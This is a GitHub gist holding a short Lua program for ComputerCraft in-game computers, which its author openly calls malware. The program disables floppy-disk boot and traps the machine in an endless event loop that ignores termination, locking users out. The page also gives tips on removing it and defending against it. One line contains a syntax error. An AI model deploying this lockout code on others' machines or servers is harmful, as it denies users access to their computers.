Skip to content

Instantly share code, notes, and snippets.

@tomodachi94
Last active December 9, 2022 02:40
Show Gist options
  • Save tomodachi94/862b19d548489abc988481b7e7d3c771 to your computer and use it in GitHub Desktop.
Save tomodachi94/862b19d548489abc988481b7e7d3c771 to your computer and use it in GitHub Desktop.
LockdownMode.lua: Get off of my lawn!

This program is intended for research purposes. Use at your own risk.

In case it isn't obvious, this program is malicious by nature. Do not execute this unless you know what you're doing! (It's only about 20 lines.)

Usage

This piece of malware locks you out in as many ways as it can.

This software is pretty merciful in its default configuration. It preserves the settings that were previously set and doesn't delete files.

The message can be set by running settings set lockdownmode.message "Your message here". Mercy on settings can be disabled by running settings set lockdownmode.havemercy false.

Vulnerabilities

The software developers are only aware of two ways of removing this software:

  1. Ask a server admin to delete the startup script
  2. Put the computer itself into a disk drive and delete it yourself

Prevention

If you're writing an "antivirus" and want to defend against this:

  1. Keep backups.
  2. Attempt to make a rigged version of the http API that checks for known malicious files' hashes.

Roadmap

  • Add option to nuke floppy disks when boot is tried
-- Silence IDE warnings
local fs = _G.fs
local settings = _G.settings
term.clear() -- Get rid of the CraftOS version message ASAP
term.setCursorPos(1, 1) -- Fix printing for later.
-- save the old settings, I'm not a total monster
-- ...unless lockdownmode.havemercy is disabled. Then the program will "corrupt" settings
if not fs.exists("/settings.old") and settings.get("lockdownmode.havemercy", true) then
settings.save("/settings.old")
end
settings.set("shell.allow_disk_startup", false) -- Prevents booting from a floppy disk
settings.set("motd.enable", false) -- Disable those pesky MOTD messages (they will still appear on first run)
local message = settings.get("lockdownmode.message", "Get off of my lawn!")
local label = os.getComputerLabel() or message
settings.save()
if not label do
os.setComputerLabel("Lockdown Mode active")
end
print(message)
while true do
os.pullEventRaw()
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment